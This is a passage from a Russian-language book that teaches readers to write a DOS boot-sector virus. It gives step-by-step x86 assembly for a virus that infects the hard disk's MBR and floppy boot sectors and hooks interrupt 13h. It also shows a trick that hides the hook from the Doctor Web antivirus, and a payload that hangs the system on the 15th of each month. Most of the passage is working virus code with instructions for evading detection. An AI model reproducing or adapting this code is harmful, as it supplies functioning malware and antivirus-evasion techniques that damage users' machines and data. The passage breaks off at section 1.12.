  5717.     как происходит начальная загрузка ЭВМ.
  5718.     После проверки аппаратной части компьютера и запо-
  5719.     лнения  таблицы векторов прерываний BIOS  пытается
  5720.     прочитать  первый  сектор нулевой  дорожки нулевой
  5721.     стороны диска в дисководе " A ". Этот сектор поме-
  5722.     щается в память по адресу 0000:7C00h,после чего на
  5723.     указанный адрес передается управление. В прочитан-
  5724.     ном секторе содержится программа начальной загруз-
  5725.     ки (BOOT - запись) и некоторые другие сведения,не-
  5726.     обходимые для доступа к данным на диске. Программа
  5727.     начальной  загрузки проверяет,  является - ли диск
  5728.     системным.  Если это так, то загрузка операционной
  5729.     системы с диска продолжается, а если нет,то на эк-
  5730.     ран выводится сообщение :
  5731.  
  5732.     Non system disk or disk error
  5733.     Replace and press any key when ready .
  5734.  
  5735.     после чего система ожидает действий оператора.
  5736.     Если же  диск в " A " - дисководе  отсутствует, то
  5737.     программа BIOS считывает первый сектор нулевой до-
  5738.     рожки нулевой стороны первого жесткого  диска.  Он
  5739.     также помещается в память по адресу 0000:7C00h,по-
  5740.     сле чего по указанному адресу передается  управле-
  5741.     ние.В прочитанном секторе на жестком диске записа-
  5742.     на  так  называемая MBR  (главная  загрузочная за-
  5743.     пись). MBR является программой, которая определяет
  5744.     активный  раздел  жесткого диска, считывает загру-
  5745.     зочную запись (BOOT - запись) этого раздела в опе-
  5746.     ративную память и отдает ей управление. Дальше все
  5747.     происходит, как при загрузке системы с гибкого ди-
  5748.     ска. Как видим, процесс загрузки с винчестера  яв-
  5749.     ляется как бы двухступенчатым.
  5750.     Если же программа MBR не нашла активный раздел, то
  5751.     выдается сообщение об отсутствии загрузочных  уст-
  5752.     ройств, и система останавливается.В некоторых ста-
  5753.     рых машинах при невозможности запустить операцион-
  5754.     ную систему загружался интерпретатор языка БЕЙСИК,
  5755.     записанный в микросхемах ПЗУ. Однако новые  модели
  5756.     компьютеров не содержат встроенного  интерпретато-
  5757.     ра и не используют его.
  5758.  
  5759.  
  5760.             1.2 Понятие о загрузочных вирусах
  5761.  
  5762.     Загрузочными  называют вирусы, способные  заражать
  5763.     загрузочные сектора гибких и жестких дисков и  по-
  5764.     лучающие управление при попытке " запустить " опе-
  5765.     рационную систему с зараженного диска.
  5766.     Можно  выделить  следующие основные  разновидности
  5767.     вирусных программ указанного типа :
  5768.  
  5769.     1. Заражающие BOOT - сектора гибких дисков
  5770.     2. Заражающие BOOT - запись активного раздела  же-
  5771.        сткого диска и BOOT - сектора гибких дисков
  5772.     3. Заражающие  MBR ( Master Boot Record ) жесткого
  5773.        диска BOOT - сектора гибких дисков
  5774.  
  5775.     Отметим,что заражение BOOT - секторов дискет явля-
  5776.     ется  обязательным, иначе  вирус просто не  сможет
  5777.     распространяться .
  5778.     Кроме того, почти все загрузочные вирусы  являются
  5779.     резидентными,что объясняется спецификой их работы.
  5780.     Нерезидентный вирус смог бы размножаться только  в
  5781.     том случае, если  при  загрузке с  диска " A "  из
  5782.     дисковода " B " забыли вытащить  дискету, или  при
  5783.     загрузке с зараженного винчестера диск находится в
  5784.     одном из дисководов.Очевидно,что при таком алгори-
  5785.     тме  работы вирус  размножался  бы очень медленно,
  5786.     и его создание было бы просто бессмысленным.
  5787.     Большое  распространение получили также  файлово -
  5788.     загрузочные  вирусы, которые могут заражать  файлы
  5789.     типов EXE, COM а иногда и другие. Ярким представи-
  5790.     телем этой разновидности можно считать ONEHALF,ко-
  5791.     торый может  заражать EXE и COM - файлы. Файлово -
  5792.     загрузочные  вирусы являются  более заразными, чем
  5793.     файловые. Создать такой вирус также сложнее, и по-
  5794.     этому их подробное  рассмотрение выходит  за рамки
  5795.     данной книги.
  5796.  
  5797.  
  5798.              1.3 Алгоритм работы загрузочного
  5799.                           вируса
  5800.  
  5801.     Несмотря на огромное разнообразие загрузочных  ви-
  5802.     русных программ, алгоритмы их работы незначительно
  5803.     отличаются друг от друга. В этом пункте мы рассмо-
  5804.     трим одну из возможных реализаций такого  алгорит-
  5805.     ма. Только сначала условимся, что наш вирус  будет
  5806.     заражать загрузочные  сектора гибких дисков  и MBR
  5807.     ( Master Boot Record) первого жесткого диска. Поэ-
  5808.     тому можно предложить следующий " план работы " :
  5809.  
  5810.     Попав  при начальной  загрузке машины  в память по
  5811.     адресу  0000:7C00h, вирус  должен выполнить  такие
  5812.     действия :
  5813.  
  5814.     1. Установить регистры SS и SP на собственный стек
  5815.     2. " Отрезать " у системы несколько килобайтов па-
  5816.        мяти ( сколько именно - зависит от длины вирус-
  5817.        ного кода )
  5818.     3. Переписать свой код в полученную область (кста-
  5819.        ти, она будет находиться в старших адресах  ос-
  5820.        новной памяти)
  5821.     4. Передать управление следующей секции своего ко-
  5822.        да, уже расположенной в конце основной памяти
  5823.  
  5824.     Эта секция, в свою очередь, должна :
  5825.  
  5826.     1. Переопределить вектор прерывания Int 13h на ви-
  5827.        русный код
  5828.     2. Считать настоящий  загрузочный сектор в  память
  5829.        по адресу 0000:7C00h
  5830.     3. Проверить, заражен - ли винчестер. Если нет, то
  5831.        заразить его MBR
  5832.     4. Передать управление настоящему загрузочному се-
  5833.        ктору, находящемуся по адресу 0000:7C00h
  5834.  
  5835.     Далее загрузка ОС выполняется, как обычно.
  5836.     Когда система будет загружена,вирус должен занять-
  5837.     ся заражением BOOT - секторов дискет. С этой целью
  5838.     он выполняет такие действия :
  5839.  
  5840.     1. При  чтении  секторов с номерами 2...N  нулевой
  5841.        дорожки нулевой  стороны диска " A "  проверяет
  5842.        BOOT этого диска на зараженность
  5843.     2. Если диск еще не инфицирован - заражает его
  5844.     3. Передает управление системному обработчику  Int
  5845.        13h
  5846.  
  5847.     Под заражением  понимают  запись вирусного кода  в
  5848.     BOOT - сектор дискеты или в MBR винчестера.
  5849.     Понятно, что при загрузке  с винчестера  проверять
  5850.     его на зараженность бессмысленно. И тем  не менее,
  5851.     наш вирус делает это, так  как отключить  проверку
  5852.     жесткого диска не так просто, как это может  пока-
  5853.     заться. Кроме того, она выполняется очень быстро и
  5854.     поэтому совершенно не ощущается  пользователем.
  5855.     На первый взгляд, приведенный алгоритм кажется до-
  5856.     вольно сложным. Тем не менее, его достаточно  про-
  5857.     сто реализовать, в чем вы скоро убедитесь.
  5858.     Хотелось бы сказать о том, какой должна быть  мак-
  5859.     симальная длина вирусного кода.Если мы хотим поме-
  5860.     стить вирус в загрузочный сектор  целиком, следует
  5861.     учесть два момента.
  5862.  
  5863.     1. Собственно  программа  загрузки в MBR  занимает
  5864.        не более, чем 446 байт ( см. ПРИЛОЖЕНИЕ 2 )
  5865.  
  5866.     2. Программа  загрузки  в  BOOT - секторе  дискеты
  5867.        имеет разный размер в разных версиях DOS. В са-
  5868.        мом  " предельном "  случае  она  начинается со
  5869.        смещения 0055h относительно начала сектора. Два
  5870.        последних байта BOOT и MBR содержат код: 55AAh.
  5871.        Если его затереть,система перестанет загружать-
  5872.        ся с испорченного  таким образом диска. Некото-
  5873.        рые вирусы используют этот прием для приведения
  5874.        дискеты или винчестера в " частично нерабочее "
  5875.        состояние.
  5876.  
  5877.     Отсюда следует очевидный вывод - размер кода виру-
  5878.     са не  может превышать : 200h - 55h - 02h = 1A9h =
  5879.     = 425 байт! Если вы не выйдете за эту границу, об-
  5880.     ращение к диску будет происходить корректно. Кроме
  5881.     того,даже NORTON DISK DOCTOR не будет замечать из-
  5882.     менений  программы загрузки в BOOT - секторе  дис-
  5883.     кеты  или MBR  винчестера, что, согласитесь, очень
  5884.     важно.
  5885.  
  5886.  
  5887.         1.4 Как начинается распространение вируса
  5888.  
  5889.     В отличие от файловых вирусов,для внедрения загру-
  5890.     зочного вируса  в компьютер достаточно просто  по-
  5891.     пробовать  загрузиться  с  зараженной дискеты, при
  5892.     этом дискета не обязательно должна быть  загрузоч-
  5893.     ной.В этом состоит особенность вирусов этого типа.
  5894.     Итак, чтобы вирус начал распространяться, достато-
  5895.     чно заразить  им гибкий  диск, а потом  попытаться
  5896.     загрузиться с него на той или иной машине.
  5897.  
  5898.  
  5899.                     1.5 Начало работы
  5900.  
  5901.     Как и прежде,будем разрабатывать загрузочный вирус
  5902.     в виде COM - программы. Поэтому :
  5903.  
  5904.     prg segment
  5905.        assume cs:prg,ds:prg,es:prg,ss:prg
  5906.           org 100h
  5907.  
  5908.  
  5909.               1.6 Вирус получает управление
  5910.  
  5911.     Как вы уже знаете,загрузочный вирус получает упра-
  5912.     вление  только при  загрузке операционной системы.
  5913.     Далее он должен " отрезать " у DOS несколько кило-
  5914.     байтов памяти и  переписать свой код в  полученную
  5915.     область. Для выполнения  этих функций  можно пред-
  5916.     ложить такой фрагмент :
  5917.  
  5918.     my_prg:    xor ax,ax              ;
  5919.                mov ss,ax              ;
  5920.                mov sp,7bfeh           ;Установка собс-
  5921.                                       ;твенного стека
  5922.                push ax                ;Сохраним в сте-
  5923.                push bx                ;ке используемые
  5924.                push cx                ;регистры
  5925.                push dx                ;
  5926.                push si                ;
  5927.                push ds                ;
  5928.                push es                ;
  5929.                pushf                  ;
  5930.                                       ;
  5931.                push cs                ;DS = CS
  5932.                pop ds                 ;
  5933.                                       ;
  5934.     sub word ptr ds:[0413h],2         ;"Отрежем" у DOS
  5935.                mov ax,ds:[0413h]      ;два килобайта
  5936.                mov cl,6               ;памяти и вычис-
  5937.                                       ;лим
  5938.                sal ax,cl              ;сегментный ад-
  5939.                                       ;рес,по которому
  5940.                                       ;находится полу-
  5941.                                       ;ченный блок
  5942.                mov es,ax              ;Поместим адрес
  5943.                                       ;в ES
  5944.                xor si,si              ;И скопируем код
  5945.                mov cx,prg_lenght      ;вируса длиной
  5946.     prg_copy:  db 8ah                 ;"prg_lenght" в
  5947.                db 9ch                 ;память по адре-
  5948.     additor    db 00h                 ;су ES : 0000h
  5949.                db 7ch                 ;Сам код при за-
  5950.                mov byte ptr es:[si],bl;грузке помещае-
  5951.                inc si                 ;тся BIOS по ад-
  5952.                loop cs:prg_copy       ;ресу 0000:7C00h
  5953.                                       ;
  5954.                push ax                ;Запишем в стек
  5955.                mov ax,to_read_boot    ;адрес ES:to_re-
  5956.                push ax                ;ad_boot и осу-
  5957.                db 0cbh                ;ществим переход
  5958.                                       ;на этот адрес
  5959.  
  5960.     Поскольку  операционная система  к моменту  начала
  5961.     выполнения этого фрагмента еще не загружена, "уве-
  5962.    сти" у вычислительной системы два килобайта памяти
  5963.     не предсталяет  никакого труда.  Для этого  просто
  5964.     следует уменьшить на два число,расположенное в об-
  5965.     ласти данных BIOS по адресу : 0000:0413h .Загрузи-
  5966.     вшись, операционная система просто не будет  заме-
  5967.     чать занятую вирусом память. Даже такие программы,
  5968.     как  RELEASE  или Volkov Commander ( нажмите ALT +
  5969.     + F5 ) не помогут обнаружить, где именно " притаи-
  5970.    лся "  вирус ( правда, это  не так трудно  рассчи-
  5971.     тать, но для рядового " юзера " такая задача непо-
  5972.     сильна ) .
  5973.  
  5974.     Машинный код
  5975.  
  5976.                db 8ah                 ;
  5977.                db 9ch                 ;
  5978.     additor    db 00h                 ;
  5979.                db 7ch                 ;
  5980.  
  5981.     является кодом команды :
  5982.     " mov bl,byte ptr [si + 7C00h] " и  модифицируется
  5983.     в зависимости от того, что именно удалось заразить
  5984.     вирусу - если загрузка происходит с  винчестера,то
  5985.     код будет иметь вид :
  5986.  
  5987.                db 8ah                 ;
  5988.                db 9ch                 ;
  5989.     additor    db 00h                 ;
  5990.                db 7ch                 ;
  5991.  
  5992.     а если с дискеты :
  5993.  
  5994.                db 8ah                 ;
  5995.                db 9ch                 ;
  5996.     additor    db 55h                 ;
  5997.                db 7ch                 ;
  5998.  
  5999.     Дело в том, что в  MBR жесткого диска тело  вируса
  6000.     располагается по смещению 0000h от начала сектора,
  6001.     а в BOOT - записи  дискеты  это же  смещение равно
  6002.     0055h ( см. п. 1.11 ).При заражении того или иного
  6003.     диска вирус определяет  необходимое  значение поля
  6004.     " additor", которое потом будет записано в  загру-
  6005.     зочный  сектор. Команда " ret far " для  краткости
  6006.     записана в  виде машинного кода 0CBh.
  6007.     Идея установки собственного стека заимствована  из
  6008.     настоящей MBR жесткого диска. Если  оставить  стек
  6009.     " как есть ", то в некоторых случаях система будет
  6010.     зависать при загрузке - проверено на практике !
  6011.  
  6012.  
  6013.            1.7 Защита от антивирусных программ
  6014.  
  6015.     В настоящее время существует только одна распрост-
  6016.     раненная антивирусная программа, с которой следует
  6017.     считаться при  разработке нового вируса . Это всем
  6018.     известный DOCTOR WEB. Благодаря довольно совершен-
  6019.     ному алгоритму эвристического  анализа, DOCTOR WEB
  6020.     способен обнаружить  новый вирус не только в  фай-
  6021.     лах, но и в загрузочных секторах гибких и  жестких
  6022.     дисков компьютера. В предыдущей главе  мы рассмот-
  6023.     рели, как можно скрыть присутствие вирусных  кодов
  6024.     в файлах и оперативной памяти ЭВМ. Теперь, вероят-
  6025.     но, следует рассказать, как решается задача маски-
  6026.     ровки загрузочного вируса.
  6027.     После нескольких дней экспериментов было  установ-
  6028.     лено, что при поиске неизвестных загрузочных виру-
  6029.     сов DOCTOR WEB пытается определить факт  перехвата
  6030.     прерывания INT 13h,при этом антивирус даже не про-
  6031.     бует  пройти встроенным отладчиком  подозрительную
  6032.     BOOT  или MBR. Если, по  мнению программы, INT 13h
  6033.     было  перехвачено, выдается сообщение о  возможном
  6034.     наличии в вашем компьютере неизвестного  загрузоч-
  6035.     ного вируса. Отсюда следует очевидный вывод :
  6036.  
  6037.     - Команду, задающую адрес в таблице векторов  пре-
  6038.       рываний или выполняющую модификацию вектора  INT
  6039.       13h, следует зашифровать, и вирус найден  не бу-
  6040.       дет !
  6041.  
  6042.     Однако сделать корректный шифровщик, хорошо  рабо-
  6043.     тающий на любом процессоре, не так просто. Поэтому
  6044.     задача была решена следующим образом :
  6045.  
  6046.                mov si,vvv - 100h      ;
  6047.     mov word ptr es:[si],to_new_13h   ;Установим
  6048.     mov word ptr es:[si + 2],cs       ;вектор Int 13h
  6049.                                       ;на вирусный об-
  6050.                                       ;работчик
  6051.                                       ;
  6052.  
  6053.     Как это ни странно, DOCTOR WEB "не догадался", что
  6054.     команда
  6055.                mov si,vvv - 100h
  6056.     пересылает в SI число 04Ch, имеющее прямое отноше-
  6057.     ние к вектору прерывания Int 13h.
  6058.     Проверка приведенного метода на практике  показала
  6059.     его пригодность.
  6060.  
  6061.  
  6062.                1.8 Перехватываем Int 13h
  6063.  
  6064.     Согласно описанному выше алгоритму, настало  время
  6065.     перехватить прерывание Int 13h.Наш вирус будет ис-
  6066.     пользовать его для отслеживания операций с  диске-
  6067.     тами. Итак :
  6068.  
  6069.     to_read_boot   equ   $ - my_prg   ;
  6070.                                       ;
  6071.     read_boot: push cs                ;DS = CS
  6072.                pop ds                 ;
  6073.                                       ;
  6074.                xor si,si              ;SI = 0
  6075.                mov es,si              ;ES = SI
  6076.                                       ;Получим вектор
  6077.                                       ;Int 13h и сох-
  6078.                                       ;раним его :
  6079.     mov bx,word ptr es:[4ch]          ;
  6080.     mov word ptr old_13h - 100h,bx    ;
  6081.     mov bx,word ptr es:[4eh]          ;
  6082.     mov word ptr old_13h_2 - 100h,bx  ;
  6083.                                       ;
  6084.                mov si,vvv - 100h      ;
  6085.     mov word ptr es:[si],to_new_13h   ;И установим
  6086.     mov word ptr es:[si + 2],cs       ;вектор Int 13h
  6087.                                       ;на вирусный об-
  6088.                                       ;работчик
  6089.                                       ;
  6090.  
  6091.     Прерывание здесь перехватывается путем непосредст-
  6092.     венной модификации вектора в таблице векторов пре-
  6093.     рываний. Константа " to_read_boot " задает  смеще-
  6094.     ние от начала вирусного кода до метки "read_boot",
  6095.     с которой и начинается код,выполняющий переопреде-
  6096.     ление  вектора Int 13h на вирусный  обработчик.До-
  6097.     полнительных пояснений работа фрагмента не  требу-
  6098.     ет.
  6099.  
  6100.  
  6101.             1.9 Читаем исходную BOOT - запись
  6102.  
  6103.     Сначала договоримся, где  наш вирус будет  хранить
  6104.     настоящую  загрузочную  запись ( BOOT - для дискет
  6105.     или MBR - для жестких дисков ).
  6106.     Обычно на нулевой дорожке нулевой стороны  винчес-
  6107.     тера используется только самый первый сектор,а ос-
  6108.     тальные свободны. Поэтому было бы естественно сох-
  6109.     ранить MBR в одном из секторов нулевой дорожки.Нас
  6110.     заинтересовал сектор с номером 12,но можно было бы
  6111.     взять и любой  другой. Только не  следует выбирать
  6112.     сектора с очень большими номерами. Может случиться
  6113.     так, что, например сектора с номером 100 на  диске
  6114.     просто  не  существует  ( особенно это относится к
  6115.     старым  накопителям ). Оптимальный номер - не выше
  6116.     двадцати.
  6117.     Для дискет оригинальную BOOT - запись лучше  всего
  6118.     записывать в последний сектор последней дорожки на
  6119.     первой стороне заражаемого диска .
  6120.     Для того, чтобы с зараженного диска можно было за-
  6121.     грузиться, вирус должен считать исходную загрузоч-
  6122.     ную запись в память по адресу : 0000:7C00h и после
  6123.     выполнения необходимых действий передать  ей упра-
  6124.     вление :
  6125.  
  6126.                mov dx,num_head - 100h ;Считаем настоя-
  6127.                mov cx,cyl_sect - 100h ;щий загрузочный
  6128.                mov bx,7c00h           ;сектор в память
  6129.                mov ax,0201h           ;по адресу
  6130.                int 13h                ;0000:7C00h
  6131.  
  6132.     В приведенном фрагменте задействованы ячейки памя-
  6133.     ти :
  6134.  
  6135.     num_head   dw   0                 ;Здесь вирус
  6136.     cyl_sect   dw   0                 ;хранит номер
  6137.                                       ;головки,дорожки
  6138.                                       ;и сектора зара-
  6139.                                       ;женного диска ,
  6140.                                       ;в которых запи-
  6141.                                       ;сана настоящая
  6142.                                       ;загрузочная
  6143.                                       ;запись .
  6144.  
  6145.     Несколько позже мы разберемся,как определяются по-
  6146.     мещаемые в них значения.
  6147.  
  6148.  
  6149.                1.10 Заражаем MBR винчестера
  6150.  
  6151.     Следуя алгоритму, настало время проверить, зараже-
  6152.     на - ли  MBR первого  жесткого диска, и если нет -
  6153.     заразить ее. Поэтому приступим к делу :
  6154.  
  6155.                push cs                ;ES = CS
  6156.                pop es                 ;
  6157.                                       ;
  6158.                mov dl,0080h           ;Считаем MBR
  6159.                call cs:read_mbr       ;винчестера
  6160.                jc cs:to_quit          ;по адресу
  6161.                                       ;CS:0400h, при-
  6162.                                       ;чем загрузка
  6163.                                       ;сейчас может
  6164.                                       ;производиться
  6165.                                       ;и с дискеты !
  6166.     cmp byte ptr ds:[400h],33h        ;MBR уже зара-
  6167.                je cs:to_quit          ;жена ?
  6168.                                       ;
  6169.                mov dx,0080h           ;Нулевая головка
  6170.                                       ;первого жестко-
  6171.                                       ;го диска
  6172.                mov cx,000ch           ;Сектор 12,
  6173.                                       ;дорожка 0
  6174.                mov dl_save - 100h,dl  ;
  6175.                                       ;Сохраним эти
  6176.                                       ;параметры .
  6177.                call cs:write_mbr_last ;Кроме того,
  6178.                                       ;перепишем нас-
  6179.                                       ;тоящую MBR в
  6180.                                       ;сектор 12
  6181.                jc cs:to_quit          ;нулевой дорожки
  6182.                                       ;на нулевой сто-
  6183.                                       ;роне HDD .
  6184.                xor si,si              ;Сформируем код
  6185.                mov additor - 100h,00h ;для записи его
  6186.                mov cx,prg_lenght      ;
  6187.     copy_vir_mbr:                     ;на место исход-
  6188.                mov al,byte ptr ds:[si];ной MBR
  6189.     mov byte ptr ds:[si + 400h],al    ;
  6190.                inc si                 ;
  6191.                loop cs:copy_vir_mbr   ;
  6192.                                       ;
  6193.                mov dx,0080h           ;Запишем этот
  6194.                call cs:write_mbr      ;код в первый
  6195.                                       ;сектор нулевой
  6196.                                       ;дорожки нулевой
  6197.                                       ;стороны винчес-
  6198.                                       ;тера
  6199.     to_quit:   mov ah,04h             ;Наш
  6200.                int 1ah                ;вирус при
  6201.                jc cs:bad_clock        ;загрузке по
  6202.                cmp dl,15h             ;15 - м числам
  6203.     vis:       je cs:vis              ;вешает систему
  6204.     bad_clock: popf                   ;Восстановим из
  6205.                pop es                 ;стека
  6206.                pop ds                 ;регистры
  6207.                pop si                 ;
  6208.                pop dx                 ;
  6209.                pop cx                 ;
  6210.                pop bx                 ;
  6211.                pop ax                 ;
  6212.                                       ;
  6213.                db   0eah              ;И отдадим упра-
  6214.                dw   7c00h             ;вление настоя-
  6215.                dw   0000h             ;щей загрузочной
  6216.                                       ;записи ( MBR )
  6217.  
  6218.     Как вы видите, вирус достаточно  свободно " чувст-
  6219.    вует "  себя в памяти. В  самом деле - свой код он
  6220.     записывает в младшие 512 байт первого " отрезанно-
  6221.    го " у  DOS килобайта, а MBR  винчестера считывает
  6222.     в младшие 512 байт второго килобайта. Так  сделано
  6223.     для большей понятности программы и облегчения про-
  6224.     граммирования, но один килобайт памяти  фактически
  6225.     тратится впустую ( что с некоторой натяжкой  можно
  6226.     отнести к вредным действиям нашего вируса ).
  6227.     Процедура  " read_mbr " читает  сектор 1 дорожки 0
  6228.     на нулевой стороне указанного диска.
  6229.     Процедура " write_mbr " записывает данные из буфе-
  6230.     ра  по  адресу : CS:0400h в сектор 1  дорожки 0 на
  6231.     нулевой стороне указанного диска.
  6232.     Процедура " write_mbr_last " записывает данные  из
  6233.     буфера  по адресу : CS:0400h в заданный сектор то-
  6234.     го или иного диска и заполняет ячейки памяти :
  6235.  
  6236.     num_head
  6237.     и cyl_sect.
  6238.  
  6239.     Для проверки зараженности MBR вирус сравнивает  ее
  6240.     первый байт  с первым байтом  своего кода - числом
  6241.     33h.
  6242.     Далее, в  поле  " additor "  заносится  число 00h,
  6243.     необходимое для корректной  загрузки с винчестера.
  6244.     Стоит отметить,  что заражение MBR происходит  ис-
  6245.     ключительно при загрузке с зараженной дискеты. Ко-
  6246.     гда операционная система будет загружена,вирус бу-
  6247.     дет инфицировать только гибкие  диски при  попытке
  6248.     прочитать их содержимое.А поскольку никому не при-
  6249.     дет в голову менять жесткие диски во включенной  в
  6250.     сеть и работающей машине, нет смысла  предусматри-
  6251.     вать заражение MBR в резидентном  режиме. Если  же
  6252.     попробовать проделать вышеописанную  процедуру, то
  6253.     компьютер с высокой вероятностью выйдет из строя,и
  6254.     вирус " погибнет " вместе с ним.
  6255.  
  6256.  
  6257.          1.11 Пишем обработчик прерывания Int 13h
  6258.  
  6259.     Наконец все подготовительные действия завершены, и
  6260.     мы можем заняться разработкой вирусного обработчи-
  6261.     ка прерывания Int 13h. Именно этот обработчик дол-
  6262.     жен отслеживать  операции с гибкими дисками и  при
  6263.     необходимости заражать их.
  6264.     Начнем с выяснения условий, при которых вирус дол-
  6265.     жен будет заразить BOOT - сектор дискеты.Пусть за-
  6266.     ражение будет выполняться в том случае,если проис-
  6267.     ходит чтение любого сектора нулевой дорожки  нуле-
  6268.     вой стороны, кроме первого.Исходя из  этого, можно
  6269.     записать :
  6270.  
  6271.                                       ;Далее следует
  6272.                                       ;вирусный обра-
  6273.                                       ;ботчик Int 13h
  6274.     to_new_13h equ   $ - my_prg       ;
  6275.                                       ;
  6276.     new_13h:   pushf                  ;Сохраним флаги
  6277.                cmp dl,01h             ;Операция с дис-
  6278.                                       ;ководом " A "
  6279.                                       ;или " B " ?
  6280.                ja cs:to_sys_13h       ;Нет !
  6281.                cmp ah,02h             ;Чтение ?
  6282.                jne cs:to_sys_13h      ;Нет !
  6283.                cmp ch,00h             ;Дорожка " 0 " ?
  6284.                jne cs:to_sys_13h      ;Нет !
  6285.                cmp cl,01h             ;Сектор-первый ?
  6286.                je cs:to_sys_13h       ;Да !
  6287.                call cs:boot_infect    ;Вызовем проце-
  6288.                                       ;дуру заражения
  6289.                                       ;BOOT - секторов
  6290.                                       ;дискет
  6291.     to_sys_13h:                       ;
  6292.                popf                   ;Восстановим
  6293.                                       ;флаги
  6294.                db 0eah                ;Перейдем к сис-
  6295.     old_13h    dw 0                   ;темному обра-
  6296.     old_13h_2  dw 0                   ;ботчику Int 13h
  6297.  
  6298.     Обратите  внимание, что при чтении секторов  2...N
  6299.     нулевой  дорожки  нулевой  стороны  дискеты  упра-
  6300.     вление передается процедуре " boot_infect ", кото-
  6301.     рая занимается заражением  гибких дисков. Если  бы
  6302.     заражение происходило при чтении любого сектора,то
  6303.     на зараженной машине все операции с дисководом вы-
  6304.     полнялись бы раздражающе медленно.
  6305.     Для передачи управления системному обработчику Int
  6306.     13h используется обычная команда далекого  перехо-
  6307.     да, записанная в виде машинной инструкции.
  6308.     Теперь разработаем процедуру " boot_infect ",зара-
  6309.     жающую дискеты. Естественно сделать ее по аналогии
  6310.     с фрагментом, который " работает " с винчестером .
  6311.     Поэтому :
  6312.  
  6313.     boot_infect proc                  ;
  6314.                push ax                ;Сохраним реги-
  6315.                push bx                ;стры в стеке
  6316.                push cx                ;прерванного
  6317.                push dx                ;процесса
  6318.                push di                ;
  6319.                push ds                ;
  6320.                push es                ;
  6321.                pushf                  ;
  6322.                                       ;
  6323.                push cs                ;ES = CS
  6324.                pop es                 ;
  6325.                                       ;
  6326.                push cs                ;DS = CS
  6327.                pop ds                 ;
  6328.                                       ;
  6329.                mov cx,3               ;Попробуем про-
  6330.     next_read: push cx                ;честь BOOT -
  6331.                                       ;сектор дискеты.
  6332.                call cs:read_mbr       ;На это даем три
  6333.                pop cx                 ;попытки (напри-
  6334.                jnc cs:inf_check       ;мер,если двига-
  6335.                                       ;тель дисковода
  6336.                                       ;не успел разо-
  6337.                                       ;гнаться до ра-
  6338.                                       ;бочей скорости,
  6339.                                       ;то BIOS вернет
  6340.                                       ;ошибку -дискета
  6341.                                       ;сменена ! )
  6342.                xor ah,ah              ;При ошибке -
  6343.                pushf                  ;сбросим текущий
  6344.     call dword ptr old_13h - 100h     ;дисковод
  6345.                jc cs:to_jump          ;и повторим
  6346.                loop cs:next_read      ;чтение
  6347.     to_jump:   jmp cs:restore_regs    ;
  6348.                                       ;BOOT - сектор
  6349.                                       ;заражен ?
  6350.     inf_check: cmp byte ptr ds:[455h],33h
  6351.                je cs:to_jump          ;Да !
  6352.     cmp word ptr ds:[40bh],200h       ;512 байт в
  6353.                                       ;секторе ?
  6354.                jne cs:to_jump         ;Нет !
  6355.                                       ;
  6356.                mov dl_save - 100h,dl
  6357.                mov ch,79              ;Определим
  6358.                mov dh,byte ptr ds:[415h]
  6359.                cmp dh,0f0h            ;параметры
  6360.                je cs:real_80          ;дискеты
  6361.                cmp dh,0f9h            ;по ее
  6362.                je cs:real_80          ;Media
  6363.                cmp dh,0fdh            ;Descryptor
  6364.                jne cs:to_jump         ;
  6365.                mov ch,39              ;
  6366.     real_80:   mov dh,01h             ;
  6367.                mov cl,byte ptr ds:[418h]
  6368.  
  6369.                                       ;Перепишем нас-
  6370.                                       ;тоящий BOOT в
  6371.                                       ;последний сек-
  6372.                                       ;тор последней
  6373.                                       ;дорожки на пос-
  6374.                                       ;ледней стороне
  6375.                xor dl,dl              ;
  6376.                call cs:write_mbr_last ;
  6377.                jc cs:to_jump          ;
  6378.                                       ;
  6379.                mov additor - 100h,055h;Сформируем код,
  6380.                xor di,di              ;который нужно
  6381.                mov cx,prg_lenght      ;записать на
  6382.     copy_vir:  mov al,byte ptr ds:[di];дискету вместо
  6383.     mov byte ptr ds:[di + 455h],al    ;исходной BOOT -
  6384.                inc di                 ;записи
  6385.                loop cs:copy_vir       ;
  6386.     mov word ptr ds:[400h],053ebh     ;
  6387.                                       ;
  6388.                xor dh,dh              ;И запишем его
  6389.                call cs:write_mbr      ;в первый
  6390.                                       ;сектор нулевой
  6391.                                       ;дорожки нулевой
  6392.                                       ;стороны дискеты
  6393.                                       ;
  6394.     restore_regs:                     ;Восстановим из
  6395.                popf                   ;стека регистры
  6396.                pop es                 ;
  6397.                pop ds                 ;
  6398.                pop di                 ;
  6399.                pop dx                 ;
  6400.                pop cx                 ;
  6401.                pop bx                 ;
  6402.                pop ax                 ;
  6403.                ret                    ;Выйдем из про-
  6404.                                       ;цедуры
  6405.     boot_infect endp                  ;
  6406.  
  6407.     Как вы успели заметить,текст процедуры очень похож
  6408.     на текст фрагмента, который будет заражать жесткий
  6409.     диск. Небольшие отличия связаны со спецификой  ра-
  6410.     боты дисковода и винчестера. Дело в том, что жест-
  6411.     кий диск вращается непрерывно (за исключением  не-
  6412.     которых новых систем с  режимом экономии  электро-
  6413.     энергии), а двигатель дисковода запускается только
  6414.     при закрытии его флажка (если быть точным,это  за-
  6415.     висит от конструкции дисковода.) Поэтому,если дви-
  6416.     гатель  дисковода к  моменту  выполнения  операции
  6417.     чтения не набрал  необходимую скорость, BIOS  вер-
  6418.     нет ошибку и сообщит, что  дискета сменена.В  этом
  6419.     случае рекомендуется повторить чтение, предварите-
  6420.     льно сбросив накопитель. Наш вирус повторяет попы-
  6421.     тку чтения три раза, после  чего в случае  неудачи
  6422.     отказывается от заражения такого диска.
  6423.     Несколько раньше мы  выяснили, что для разных вер-
  6424.     сий MS DOS и WINDOWS программа начальной  загрузки
  6425.     в BOOT - секторе дискеты  располагается по  разным
  6426.     смещениям. Сделано это по той причине, что старшие
  6427.     версии  операционной системы хранят в  загрузочном
  6428.     секторе  более  подробные  сведения о  диске. Наи-
  6429.     большим смещением,с которым вы когда - либо  може-
  6430.     те встретиться, является 0055h. Поэтому наш  вирус
  6431.     будет помещать в BOOT - сектор свой код,ориентиру-
  6432.     ясь именно на приведенное значение. Тогда в первые
  6433.     два байта сектора должна быть записана команда пе-
  6434.     рехода на начало этого кода, а именно : " EB 53 ".
  6435.     Формат BOOT - сектора приведен в ПРИЛОЖЕНИИ 2.
  6436.     И последнее - вирус определяет параметры  заражае-
  6437.     мой дискеты исходя из ее Media Descryptor. Сам De-
  6438.     scryptor содержится в BOOT - секторе любой дискеты
  6439.     и вместе с некоторыми другими параметрами однозна-
  6440.     чно задает ее тип.Интерпретация различных дескрип-
  6441.     торов приведена в конце ПРИЛОЖЕНИЯ 2.
  6442.  
  6443.  
  6444.                1.12 Используемые процедуры
  6445.  
